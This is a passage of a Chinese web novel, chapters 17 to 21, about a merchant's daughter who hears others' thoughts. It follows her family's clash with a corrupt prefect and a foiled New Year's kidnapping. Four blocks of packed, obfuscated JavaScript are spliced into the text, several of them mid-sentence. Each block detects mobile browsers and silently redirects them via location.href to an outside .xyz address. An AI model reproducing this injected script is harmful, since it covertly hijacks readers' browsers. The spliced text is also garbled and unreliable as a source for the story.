;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759425|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里却掀起惊涛骇。 沈宝珍听得云里雾里，只记住两江总督疑似江宁知府靠山，刚要细问，就听下人激动地叫喊着“老爷夫人回来了”，疑惑抛之脑后。 见着人全须全尾，阵阵关切后，沈家恢复往日平静。 回到朝晖居，屏退左右，只余一家三口。 “爹爹可有伤着？”脑补押入大牢严刑拷打，沈宝珍不停扫视着沈福达。 “没有，放心。” “那……” 不等细问，沈福达的心声源源不断传来。 【乖宝放心，所谓沈家犯的事人证物证俱在，都是吓唬你们的鬼话。 人证是那些个被赶走的掌柜、管事，都说是自己犯错在先，已经求得苦主谅解，找到的几名苦主也证实了这点，就连役民、佃户都没说爹爹半句不好。 你是没看到姚知府那脸色，一阵青一阵白，哈哈哈哈！ 不过，长青裳坊居然和原五湖酒楼东家联手，倒让我意外，明明是他们技不如……】 一高兴，说多了。 沈福达举起茶杯，呷了一口。 很烫，强忍着没吐出来，直皱眉。 “长青裳坊？原五湖酒楼？”沈宝珍一脸求知。 岑内琇瞪了沈福达一眼，给他添了杯凉茶。 “长青裳坊，应该是记恨被布行抢了生意。至于原五湖酒楼……” 沈福达没有抬头，默契接话。 “五湖酒楼，原本开在四海酒楼那处，留不住食客，入不敷出，最后关门大吉。那处地段好，接手换了招牌，请了厨艺好的大师傅，很快就盘活了。” “那他为何要状告沈家？”沈宝珍总觉得哪里不对。 “兴许是眼红。” 【谁知道他发什么疯！都快十年了，还记着这仇，不就是当初把四海酒楼开他对面、挖厨子、抢客源，最后把他挤兑走了吗？有本事也来这一出啊，告到官府真以为自己能落着好了。】 沈福达忿忿不平。 【哦豁完蛋，乖宝能听见。】 “爹爹，你？” “乖宝你听爹爹解释，商场如战场，或多或少都会使些不入流的手段，就像他们找上知府大人压我一样。”沈福达忙找补。 “你爹爹说得没错，我和你爹爹能从被族中除名，走到这一步，确实做过不少上不了台面的事，但娘亲向你保证，绝对没有害人性命。”岑内琇接着道。 “我们都是先礼后兵，哪像这些人招呼都不打一声，就想置人于死地，真是狠啊！” …… 两人你一言我一语，最终还是通过语言艺术加工，将沈家发迹的路径方式透露给了沈宝珍。 没办法，有些话头一旦打开，就像开闸泄洪般，收不住。 他们能闭嘴，架不住脑子会想啊！ 例如，野蛮扩张时期，沈家先礼后兵，商量出资入股不成，就开同样的铺子恶性竞争，如，五湖酒楼。 顺利入股得分成的裕民典当行、丰稷杂粮铺等，是之前东家在经营不善时脱手，沈家折现接掌，对外东家不变。 夫妇俩指天发誓，后者他们真没动过歪心思，因为坐着享分红，可比当家做主舒坦多了。 终于将涉世未深的小白兔哄走，两只老狐狸捏了一把汗。 维持在闺女心目中的形象，比和从四品的知府大人讨价还价还累。 18. 第 18 章 “上回三万两，这次十万两，胃口越来越大，真不怕撑死！” “五年任期快满了，再忍忍。”沈福达宽慰道。 “他走了，还有两江总督，那可是一只喂不饱的老虎，也不会轻易离开。有时候我止不住想，挣的银子还不如让乖宝都花光好了，总比便宜了外人强。”岑内琇口不择言道。 “还没到伤筋动骨的地步，犯不着生这么大气。不过你说的在理，乖宝怎么花都比白白送给他们强，名声这玩意，有时候挺顶用，我都没想到，那些役民、佃户会为我喊冤，更没想到，被赶走的掌柜、管事，竟然帮着求情。” “你以为是谁的功劳？” “怎么？你知道？”收起感慨的作派，沈福达正色道。 “乖宝帮着善后了，不然他们肯定落井下石。”岑内琇语气酸溜溜。 沈福达很是意外，又有些自得。 “别卖关子了，快说说。” “是这样……” 岑内琇一五一十说完后，沈福达发出畅快的笑。 “不愧是我闺女！” “也是我闺女。” “对，不愧是我们闺女。” “行了，洗洗睡吧，天色已晚。”岑内琇打了个哈欠。 “嗯。” 临睡前，沈福达还是没忍住喟叹，末了道：“乖宝的法子值得借鉴，冤家宜解不宜结，把四海酒楼物归原主，怎么样？” 说到“物归原主”，沈福达怪笑了一声。 数酒坊、丰稷杂粮铺、裕民典当行属于沈家，显然是瞒不住了。 树大招风，得想办法避避才是。 不是伙同长青裳坊来报复吗？大发慈悲，让他得偿所愿一回。 “他会乐意？” “求之不得。” * 长青裳坊。 “沈福达进了趟知府衙门大牢，竟然无罪释放了？” “沈家夫妇这些年属实长进了。”原五湖酒楼东家，颓然道。 “呵，我不信！” “事实如此，由不得我们不信。” “我们找错人了，不该找江宁知府，他财迷心窍，只要使得银子够多，黑的都能说成白的，我们去苏州，找巡抚大人，他定能为我等做主！” “算了，我不想折腾了，上有老下有小，没有精力争一时之气了。” “你变了，变得畏首畏尾。” “人都是会变的。” “我派人送你回去。” “不必。”男人走到门口，停下脚步道：“退一步海阔天空，不必非得你死我活。”言尽于此。 坐着的男人，冷静了些。 “东家？”掌柜走了进来。 “什么事？” “榫卯堂的前管事求见，说是有关于沈家的把柄。” “榫卯堂？” “听他的意思，榫卯堂，也是沈家的。” “？？？不见。”他只是气不过，不是活不起。 连沈家藏了多少底牌都没搞清楚，上赶着找死吗？ 没过两日，在四海酒楼见到主事的友人，又被他游说将岑记布行揽在名下，长青裳坊的东家，彻底打消和沈家作对的念头。 这两口子，太可怕了！ …… 收到伍珂玥的帖子赴宴，沈宝珍才得知四海酒楼、岑记布行易主了。 返程路过这两处，看了眼招牌上熟悉的元宝印，沈宝珍顿时明白了爹爹娘亲的良苦用心。 中不溜，保平安。 回到芳菲院，沈宝珍想起伍珂玥提及的那位兄长同窗。 与孤女定亲，靠着她的供养，方能心无旁骛读书，得以进入金陵书院，竟想着过河拆桥。 若非差人跑了一趟，许是已经让他得逞。 这种人，但凡日后高中，定会故态复萌，绝非善类。 宁得罪君子，不得罪小人，伍家还不敢拆穿他的真面目，只能当做什么都没发生，绝口不提相看之事。 此前一心只读圣贤书的学子，反倒按耐不住，频频言语试探。 伍家二郎为了躲他，连书院都不去了。 伍珂玥说起时，乐得前俯后仰。 【区区秀才功名，盐商伍氏都只能避其锋芒，沈家对上江宁知府，却全身而退，还真是人比人气死人。】 末了，伍珂玥感叹。 这话，一直在沈宝珍脑海中回荡，让她很是不安。 哪怕是回到芳菲院，还是忘不掉。 民不与官斗，商不与势争。 沈家面临的危机，可太多了。 要怎么办？她能怎么办？ “小姐呢？”见惜竹、宛梅在院子里忙活，崔芙状若无意问。 “在屋里。”宛梅道。 “小姐心情如何？” 宛梅摇头。 “不好？”崔芙追问。 “不知道。”宛梅再次摇头。 “……” 崔芙被这回答一噎，这丫鬟得亏不是自己的，没点机灵劲。 算了，且试试。 想到这，崔芙进了屋，找上沈宝珍预支月例。 “在钱匣子里，自己取。” 想了许多由头都没用上的崔芙：“……小姐你是不是太放心我了？” 她也不想提醒。 可是，谁家小姐钱匣子随便丫鬟开？ 况且还是个刚到她身边没两月的。 太被信任了，也是一种负担。 昔日掌柜们得罪的人太多太杂，还在外头奔波，揣着巨额差旅费和报销款的张武、青松：感同身受！ “我相信你。” “……”崔芙心弦一动，张了张嘴，她是真不知道该说什么了。 谢小姐信任，奴婢定不负？ 她会负。 她不可能一辈子待在沈家，迟早是要离开的。 谢小姐善待，奴婢必厚报？ 她不确定。 沈宝珍给的有点多，她好像报答不完。 “小姐在为何事烦忧？”她眼下能做的，便是解忧了。 “没什么，不用担心。”沈宝珍的视线在她攥着的碎银处一扫而过，抬手往外推茶桌上的钱袋：“拿着。” “太多了。”崔芙愣了愣。 “有备无患。”沈宝珍淡淡道。 “谢小姐。” 指尖触碰到钱袋的一瞬间，崔芙心思百转千回。 【小姐莫不是在为伍家小姐与关秀才的事忧心？还是在发愁自己的终身大事？】 【要不要让小姐再等等？等自己将金陵有头有脸的家族底细摸清楚些，再考虑择婿的事？】 【有些看着还行的家族，实则藏污纳垢，就比如万家，万家大少爷迟迟没娶妻，后宅干干净净，可谁能想到，他养了外室，还不只一个。这世间道貌岸然之徒，还是太多了。】 沈宝珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778317|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：！！ “小姐有什么吩咐？” 【为何这般诧异地盯着我，有种被看穿了的错觉。】 【唉，也不知道有了这些银子，能不能将那个丫鬟救活，堂堂知府家公子，竟如此凌虐下人，想报官都没办法。】 【当爹的贪腐，当儿子的暴戮，知府衙门算是烂透了，坐镇江宁的两江总督是瞎了眼吗？】 沈宝珍：！！！ “忙你的去吧。”再听下去，她怕是会知道两江总督府的秘辛。 不对，各家乱七八糟的消息，她打哪听来的？ 崔芙嗯了一声，快步往外走，不能耽搁了。 虽好奇，但人命关天，沈宝珍没强留。 “小姐，芙蕖又出门了。” 牢记惜竹的教导，芳菲院不论谁有异动，都要禀明小姐。 崔芙前脚刚走离开，后脚宛梅就进来了。 “我知道。” “小姐知道就好。” 【原来芙蕖没骗我，她总出门确实得了小姐许可。】 【那她和牙行里卖到别家的下人联络，小姐肯定也清楚。】 沈宝珍傻眼：“你说什么？” “奴婢说，小姐知道芙蕖出去了就好。” “不是这……行吧。” 蒙尘不自弃，有余力助人。 不愧是京城贵女圈中的佼佼者。 如此，消息灵通些，也不足为奇了。 若魏雅婚事顺利，届时便央她帮忙，将崔芙平安捎回京城。 此刻的崔芙，并不知自己施以小恩小惠获悉内情的行为，被沈宝珍知晓并解读成她推己及人、救苦救难，更不清楚连归家的方式都给安排好了。 只知道，自此之后，有一钱匣钥匙在手，允她随时取用。 崔芙：！！！ 无以为报，唯有速建覆盖金陵的情报网，给小姐择位好郎君。 事后听到这话的沈宝珍：？？？真想把钥匙收回。 一晃，春节至。 沈家决定到城外温泉庄子过除夕，芳菲院近前伺候的丫鬟小厮，纷纷表示小姐去哪她们去哪。 沈家的温泉庄子，在出金陵往北走约二十里的忝隐山，和前往百福寺的路线重叠大半。 隐溪有泉，冬暖夏凉。 这还是温泉庄子落成后，一家三口第一次正式入住，到的时候太阳快要落山。 庄子管事见到他们时，强挤出一丝笑容迎了上来。 “垮着张脸，磨磨蹭蹭，怎么？”沈福达斥道。 “老爷息怒，终于等到您，小的太过欢喜，还以为在做梦。”二十出头的管事，哄起主子来一套一套。 沈福达怒气顿消，沈宝珍却挽紧了岑内琇的胳膊。 【来了，终于来了。】 【有救了，我儿有救了。】 往漱玉台前，沈宝珍再次打量了眼有条不紊安排入住事宜的管事。 “小姐，这汤泉是热的，还是活水。”沉夏蹲下身，掬起池中水，雀跃道。 一进漱玉台，寒冬像是被阻隔在外，脚边的花草都多了几分精神气。 踏入屋中，热雾氤氲，水流潺潺，让人情不自禁探索起来。 其他几人，也蠢蠢欲动。 “除此之外，还有两处温汤，你们自便。” “谢小姐。” 风尘仆仆的一行人，先后泡了个温泉浴，睡前纷纷感慨，来这一趟，值了。 19. 第 19 章 翌日，除夕。 沈宝珍早早来到祥云居，等着和爹爹娘亲一块用晚饭、赏仆从钱、守岁。 【老爷夫人小姐对不住，我不想的，可是他们抓走了我的儿子。】 【他才三岁，还那么小，也不知有没有吃饱睡好，这么冷的天，会不会冻着。】 【爹娘在天有灵，一定要保佑你们的孙儿平平安安。】 “乖宝，怎么了？”见沈宝珍看向院中支使仆从忙活的管事，岑内琇好奇。 沈宝珍做了个嘘的手势。 岑内琇和沈福达对视一眼，意识到不对劲，近前。 “乖宝？” “管事三岁大的儿子被人抓走，以此要挟他做对不住我们的事。”沈宝珍凑到二人耳边。 “什么？”岑内琇一惊。 “忘恩负义！”沈福达低喝。“乖宝可知是何事？” 沈宝珍摇头。 没得到答案的沈福达有些犯愁。 “直接问，我就不信撬不开他的嘴。”岑内琇冷笑。 父女俩顿时反应过来，对噢。 心不在焉的管事，被叫回厅堂，对上主子们审视的目光，脊背发凉。 “说吧，他们是谁，意欲何为？”沈福达沉声道。 “老爷在说什么，小的不明白。”管事将手拢于袖中，死死掐着保持镇定。 “稚子何辜，你若想要他活命，就不该继续瞒着，真以为老爷我什么都不知道？” “抢孩子以作要挟，这等恶人怎会信守承诺？你也是个蠢的。”岑内琇接着道。 “老爷、夫人，小的都是被逼的……”管事的心里防线被攻破，俯在地上如实交代。 三天前，妻儿去百福寺上香，半道被人拦下。 车夫被杀，媳妇被扔下马车，带回对方撂下的一句话：要想孩子活，就让主家来温泉庄子。 目睹灭口、痛失爱子，妇人一病不起。 “你儿子的命是命，老爷我一家就不是了？” 沈福达又气又恼，起身踹了他一脚。 若非信了这该死管事的屁话，他绝不会出全家来此过除夕的馊主意。 “小的知错了，老爷救救我妻儿，求老爷夫人小姐开恩。”管事连连磕头。 张灯挂彩的众奴仆，听得一愣一愣，既震惊又惶恐。 沈福达深吸一口气。“你是如何给他们递去的消息？” “小的将老爷来了的消息写在纸上，将其塞入庄子外的石壁中，他们自会来取。” 沈福达嗤声。“取走了？” “今儿午后取走了，小的躲在暗处，见着来人，是、是庄子里另一个车夫。”感受到死亡凝视，管事舌头打结。 “你说什么？”沈福达腾地站起身。 车夫？马厩！ 他们离开必乘的马车，都在马厩。 “草料中加了巴豆，导致马匹虚脱无力，好在发现及时，修养两日就能缓过来。” 张武捂着胸口，心痛如刀绞，贼子车夫竟把他的良驹给骑走了。 【偷马贼，别让我逮到，该死！】 “这是摆明要将我们困在庄子里任其宰割了。”沈福达怒极反笑。 【究竟是谁，谋财？害命？二者皆有？】 “没了马车，还有两条腿，此地离百福寺十里路。”岑内琇不想坐以待毙。 “天色已晚，万一他们在半道围堵……”沈福达有顾虑。 “老爷放心，宵小胆敢露头，我等必杀他们一个片甲不留！” 张武振臂高呼，仅有沉夏、青松、徐力响应。 张武扭头看向其他随从，要么脸色煞白，要么双腿打抖，他无语地翻了个白眼。 【怂包！有机会得让他们练练胆子，不然遇事都指望不上。】 人心不齐，注定凉凉。 见状，沈福达彻底歇了连夜跑路的打算。 【对方有备而来，不如留守此处，请君入瓮。此外，派人回城报官，也算留个后手。】崔芙无声提议。 沈宝珍转头看向她和她们。“性命攸关，群策群力，但说无妨。” 崔芙一愣，丫鬟也有发言权吗？ 既如此，也没必要藏拙了。 待她说完，徐力朗声自荐。 “老爷，小的愿去报官！” “庄子上还有辆牛车。”缩着脖子的管事，冷不丁道。 【乖宝，徐力他，还能信吗？】这会的沈福达，看谁都觉得可疑。 没听到徐力心声，看着他坚毅的面容，沈宝珍点头回应。 沈福达终于下定决心，寄托了一丝希望在徐力身上，上前拍了拍他的肩膀。 “夜黑风高，多加小心，再带个人，互相照应。” “老爷放心。”徐力拱手。 【就算是拼了我这条命，我也要回到金陵城——报官。】 【老爷夫人小姐一定不能有事！】 待牛车离开，沈福达勒令随从和丫鬟，将庄子里里外外仔仔细细检查了一通。 先后发现后门插捎松了、西北墙脚挖出个大洞，大榕树下搭着张木梯…… “蓄谋已久，来者不善。”沈福达气笑了。 “来者是客，就别走了。”岑内琇幽幽道。 看着张武指挥并亲自设陷阱，青松沉夏假扮贼人测试成效，知春抚秋流冬研磨药粉、惜竹宛梅烧炭煮水…… 沈宝珍恍惚觉得，不是要大难临头，而是好戏即将开场。 子时过，迎岁首。 门户不严，深夜来客。 嘎吱—— 插捎松动，应声而开。 提前给守门老仆送了坛烈酒的车夫，嘿嘿直乐。 “那老货八成是喝醉了，用不着……” “走你的，别管那么多。” “得。”车夫默默翻了个白眼，小心翼翼推开门，猫着身子往守门老仆所在摸去。 还没靠近，就被刺鼻的酒水熏得脑袋发懵。 “这老货，喝了多少？不会醉死了吧？”伸手探了探鼻息，有呼吸，但微弱。 外衫湿漉漉，天寒地冻睡一夜，不死也伤。 但，规矩就是规矩。 车夫啧了一声，再不迟疑，持刀抹脖。 恰在此时，“醉坐在地的老汉”动了，辖制住车夫手腕，反手捅穿了他的脖子。 “你！”车夫捂着脖子，瞪大了眼睛。 脱下浸过酒水的破袍，遮盖住倒下的车夫，张武扒拉开虚掩着的门，发出无声邀请。 很快，十数人冲了进来。 闻到寒风中若有似无的血腥味，犹如解开了枷锁，在黑暗中露出瘆人的笑，今夜，金银器皿年货女人，应有尽有！ 众人追随“车夫”身影，嗷嗷往前奔。 画面一转，一干贼子被推搡着进入祥云居。 “鬼叫什么？大半夜扰人清梦，还有理了？” “私闯民宅，死伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789901|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不论，还好意思嚎？” “老实点！” 听到动静，沈宝珍母女俩走了出来。 见到被捆成粽子的歹人，以及全须全尾的沈福达等，心下大安。 “都留下了，一个没跑。”沈福达解气道。 “可知是何人指使？”岑内琇递上湿帕子。 “还没问。”沈福达擦着手，看向沈宝珍。 【一群亡命之徒，怕是不会轻易吐露实情，乖宝留意着些。】 沈宝珍嗯了一声。 “夜无故入人家者，格杀勿论，今儿是个好日子，老爷我发发善心，谁先交代清楚幕后主使，便放其一条生路。” “呸！”为首之人啐道。 “废了他的腿。” 话音落，张武持棍近前。 “敢废我的腿，你们所有人都要死，必须……” 【死鸭子嘴硬。】张武嘁声，抬手直敲其腿骨。 这贼子狡诈阴险，下手狠绝。 不惜拿自己人作挡箭牌、踏脚石躲陷阱，若非被撒的药粉迷住眼，怕是逃之夭夭了。 “啊——”惨叫震天，物伤其类。 “我、我说！”一贼子膝行道。 “住口！”奋力撞向他，试图阻止。 【该死的吴瘸子，吓破胆的怂货！】 沈福达眸色冷凝：“掌嘴。” 仆从有些迟疑，青松当即卷袖，抡圆胳膊扇。 那贼子的目光，像淬了毒的冰刃，直直刺向青松，后者扬起拳头回敬。 【啊啊啊啊他该死，他必须死！】 “自己想死，拦着别人活，不识抬举！” 鼻青脸肿的贼子呜呜叫着，吓得吴瘸子膝行远离，哆哆嗦嗦道：“老、老爷，我说，我有话说，只能同你说。” 【老东西！】 沈福达意动，被沈宝珍扯住袖子。“爹爹别过去，他想使坏。” 沈福达收回脚步，面若寒霜：“既然如此，就别说了，乱棍打死！” 其他仆从终于动了。 “啊——”一样的惨叫，不同的心境。 从来都是施虐方的贼子，是真的有些慌了。 “沈家区区商贾，竟敢动用私刑，就不怕官府问罪？”腿被打折的为首之人，强忍剧痛喊道。 “笑死，官府要问也是问你们的罪。” “贼喊捉贼，原来是这个意思。” “你也想掌嘴？” “刁民，一群刁民！”被仆从怼的贼子。【该死！都该死！】 “我们是刁民？” “哈哈哈，打到脑子了？” “等衙门的人到了，就知道谁才是刁民了。” “衙门？你们报官了？”陷入绝望的贼子，像是抓住了救命稻草，激动地问。 “当然要报官，抓你们下大狱！”仆从道。 “看样子，徐力他们应该顺利回城了。”沈福达对母女俩说。 “可是，幕后主使还没问出来，乖宝？”岑内琇看向沈宝珍。 “没有。” “不说，不想，深藏不露。”岑内琇将心里的念头翻来覆去咀嚼。 沈福达也沉浸在自己的思绪里，视线定在梗着脖子叫骂的贼子身上，像是冥冥中得到了指引般。 见状，沈宝珍向前走了两步，示意众仆从后退，被棍棒捶打过的吴瘸子，喘着粗气，像滩烂泥卧倒在地。 “小姐小心。”沉夏陪同在侧。 20. 第 20 章 【这就是沈家小姐？果然身姿曼妙，不愧是少主子指定的暖床丫鬟。】 【早知道听吩咐行事，直接绑了这位交差，哪用得着受这罪。】 【衙门的人什么时候到？主子应该会饶过我们这回吧？】 【沈家是怎么发现的，难道有人泄密？自己人？不，不可能。庄子里管事？也不太可能，虎毒还不食子，他又不知道孩子当天就被卖了，况且他确实报信了。到底会是谁？】 【还是太大意了，日后不仅要给牲畜下药，人也不能少。】 【今日之仇，他日必报！沈家，呵呵，我记下了。】 【两次了，栽沈家两次了，上次若不是这该死的贱人，我怎么会被巡抚亲自拷打，瘫在床上大半年……】 沈宝珍耳膜嗡嗡作响，“不可能”三个字在脑海中疯狂弹跳，身形不稳晃了晃。 沉夏立马搀住，触碰到她冰凉指尖的一霎那，惊呼出声：“小姐。” “扶我进去。” “定是你们吓着小姐了。”张武气得一脚踹翻脚边的贼子。 “找打！”青松紧随其后。 杜口吞声静候官差的贼人们：？？？ 室内，沉夏守着门。 “爹爹娘亲，这群贼人，大有来头。他们不惧官府来人，甚是期盼。” “其中一位自称，曾被巡抚大人亲自拷打，养了大半年的伤，说这是栽我们沈家的第二次。” “我们沈家怎会与这等贼子有交集？遑论一介巡抚动手拷打犯人。”得有多大脸，犯了多大事，才配得上从二品大臣动手？ 若非出自沈宝珍之口，沈福达都觉得是那贼子胡乱攀扯，自吹自擂。 “巡抚拷打、大半年、栽我们沈家，难道是百福寺巡抚之女出事那回？”岑内琇连线成面，拨云见日。 作为亲历者，沈宝珍印象更为深刻，哪怕对方颠倒黑白，还是对照上了时间、事件、声线。 沈福达僵在原地，好一会才吐出一句“不可能”。 “不可能？”岑内琇蓦地笑了。 沈福达张了张嘴，如果周巡抚被蒙蔽，事后犯人交由江宁知府处置，好像也不是不可能。 八字衙门朝南开，有钱能使鬼推磨。 “算算时辰，衙门的人快到了。”岑内琇提醒。 “打断腿，堵住嘴，关柴房，若衙门来人，就说虚惊一场。”沈福达朗声吩咐。 “谁敢？” “沈家好大的胆子，堂而皇之欺瞒官署，下人瞒而不报，同罪论处！” “陈大你死哪去了？还想不想要你宝贝儿子了？” 怕其临阵倒戈，暂扣在柴房的陈大：？？？太远了，听不见。 “大过年的，衙门的人还不知道来不来，住嘴吧你。” “要不是你们，我们这会都呼呼大睡了。” “现在知道怕了，刚才骨头不是挺硬的吗？” “先堵住嘴，吵死了。” …… 一阵骚动过后，丫鬟小厮们动作麻利将院子清洗干净。 衙门的人，果然到了。 被劝着回漱玉台休息的沈宝珍，脚尖一转来到柴房。 到时，张武和青松正杵着门框，饶有兴致看陈大暴揍掳走他儿子并要挟他的贼子。 崔芙轻咳了声：“小姐来了。” “小姐。”两人站板正。 “有孩子下落了？”沈宝珍问。 “没有，他们让陈管事想办法放人，或者给衙门的人传话，否则打死不说。”青松回话。 【啧啧啧，老实交代还有活路，进了衙门死路一条，真不知道这些人是真傻还是装傻。】 “陈管事选择打死他们。”张武补充。 【还算有救，没又被牵着鼻子走，当然，也可能是他们在此守着的缘故。】 “他们还不能死。”沈宝珍道。 闻言，张武转身入内，将陈管事拉了出来。 “小姐，我儿才三岁，他是无辜的。” “孩子被他们卖了，你问清楚是哪里的人牙子。”沈宝珍侧身，避开试图抓着自己裙摆的一双血手。 “什么？”张武等人惊掉了下巴。 要人办事还卖人儿，畜牲不如啊！ 陈大双眼赤红，额角青筋暴起，爬着冲向了柴房，拳头攥得咯咯响，嘶吼道：“你们把我儿卖给人牙子了？是不是？” 【他怎么会知道？】 【谁告诉他的？叛徒！】 一把掐住先前叫嚣着打死不说的那人脖颈，声音几乎从牙缝里挤了出来：“说！到底是谁干的？” 【不是我，不关我的事。】 【别看我，看不见我。】 【吴瘸子。】 【吴瘸子干的，他是惯犯，连巡抚的女儿都敢掳。】 疼痛、窒息、死亡的恐惧侵袭，挣脱不得的男人，抬手指向同伙。 “你把我儿子卖给谁了？卖到哪去了？别想糊弄我！” “连人带马车一块卖的，鬼知道会被卖到哪里去，咳咳青…云…县。” 【咳咳咳，这王八蛋是真想掐死我。】 “哪家牙行？人牙子叫什么？什么时候卖的？” “青云县最大的牙行，牙人叫王麻子，当天未时三刻。” 【又不是什么重要的事，谁会记啊？脑壳疼，瞎编吧。】 【靠！卖的钱没分老子一个铜板，把老子名号扯上，吴老狗你还是人吗？】 “胆敢骗我，你就死定了。”陈大咬牙切齿道。 “不敢，不敢。” 【骗不骗，我都感觉自己要死了。痛死了，不会又得躺床上半年？】 【该死的王麻子，居然指认我，等老子从这出去，必报此仇！】 “求小姐开恩，允我外出寻子，我陈大此生愿意做牛做马报答小姐的……” “他撒谎。”沈宝珍开口打断了他的誓言。 陈大如离弦的箭，再次奔向柴房。 约莫半盏茶后，得到了更为详实可信的答案。 具体到人牙子相貌，所卖银两等。 “小姐大恩大德，我陈大永世难忘，待寻回幼子，必领其登门叩谢。” “不必。”沈宝珍摆手。“去找徐力借用马车，快些。” “谢小姐。” 寻子心切的陈大离开后，柴房陷入死一般的平静。 过了许久。 “小姐怎么知道他撒了谎？” “兵不厌诈。”张武耸了耸肩。 “噢——”青松恍然大悟。 与此同时，江宁知府衙门。 “混账！谁让你擅自调动他们？”姚知府气得肝颤。 “摇钱树不听话，当然要修理。”被迫醒来挨训的姚公子。 “你——” “爹你就不能明天再来骂我吗？天都还没亮。”姚公子打了个哈欠。 “你还睡得着？岁首就碰上人命案，整个金陵，不，整个江南都要轰动了！”姚知府坐立难安。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802473|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 出事的是沈家，周弘言肯定会过问，要是跑来金陵，日子就更没法安生。 大过年的，就不能不惹是生非？ 他这个当爹的一年到头帮着收拾烂摊子，就不该歇歇？ “死人了？怎么会？我只是让他们把沈宝珍绑来给我暖床，没让他们杀人灭口啊！”姚公子彻底清醒了。 死人了，确实麻烦。 更别说死的还是沈宝珍，说了要活的，活的，人死了还怎么问沈家夫妇要赎金？ 这群蠢货！ 亏爹还夸他们不是空有蛮力，还会动脑子。 “不是你吩咐的？” “当然不是。” “自作聪明，弄巧成拙，不能留了。” “爹英明，如此一来，您就成了破获巨案的青天大老爷。” “安分些。”姚知府转怒为喜，那些人活着，确实是个隐患。发挥余热，倒不失为上策。 “知道了。”姚公子倒回锦被中。 天明鸡叫。 姚知府早早洗漱，穿戴齐整，自沈家温泉庄子归来的衙役闻风来奏。 连要作何反应，姚知府都想好了，却听是虚惊一场，无事发生。 豺狼虎豹都盯梢踩点了，刀架脖子还不知死。 罢了，迟早的事。 姑且等上一等。 这一等，正月过半。 建兴二十二年，元宵佳节。 沈宝珍仍待在温泉庄子，迟迟未回金陵城，连徐管家和其他下人都跟着挪窝，制花灯、觅春食，忙得不亦乐乎。 找回儿子的陈大，还是坚持携妻儿朝着她居的院子方向磕完头，才开始在马厩的一天。 孩子失而复得、妻子不药而愈、没被主子发卖，还能继续在沈家做事，哪怕当个马夫，陈大也很满足。 马厩之外。 张武率众仆从进山练胆，美其名曰——春猎。 庄子上的人，只在忝隐山外围活动，从未涉足的深山，令人生畏。 但，人一多，心态就大为不同了。 凡是发现野兽踪迹，都用不着张武发号施令，一个个像八百年没吃过肉似的，揣着能迷晕成年男子的药粉，嗷嗷冲了上去。 围堵的围堵、撒药的撒药、补刀的补刀，就没有谁是闲着的。 不到一个时辰，满载而归下山。 再次见证药粉威力，张武忍不住设想将其用于战场上。 摸了摸怀中自己没舍得浪费的那份，当即决定将此迷药方子，连带两百两银票，一块给将军送去。 “恐怕不成。”流冬摇头。 “方子我不白要，这是十两银子，还请流冬姑娘收下。”张武补充道：“如果不够，我再添上。” “不是钱的事，方子白送你都成，药效就得另说了。” “为何？” “我用的都是上好药材。”流冬坦言，递上方子。 江南三成药材出自沈家，能让沈家自留的，皆品相药效极佳，在外面花钱都不一定买得到。 师傅他老人家，之所以痛快收下自己这个女弟子，可不单单是因为汤药费，还眼热沈家药材库。 “必须要上好的药材？一般的不行？” “你可以试试。” “好吧。” 得知流冬自制的迷药，让张武忍不住自掏腰包，沈宝珍真有些服气了。 当即表示，同秦大夫学医这事由其心意，不强求了。 知春等人听闻，哪还藏得住。 21. 第 21 章 漱玉台。 “小姐……”知春坐着翻看石桌上的账册，突然扭头想对沈宝珍说明情况，见摇椅上的她阖着眼，忙噤声。 “没睡。”沈宝珍语调慵懒。 不远处放轻动作扎秋千的崔芙和宛梅，又窸窸窣窣起来。 “小姐，近两月拨付给粥棚的钱接连缩减，寒冬腊月应该是越发多才是。” “为何？” 知春看向崔芙。 当初小姐将这事交给了她负责，究竟是什么原因，想来她最清楚不过。 崔芙接收到信号，缓缓开口：“得小姐吩咐，奴婢与惜竹宛梅，第二日便将不再包揽宸幼局一应花费的事宜安排妥当。” 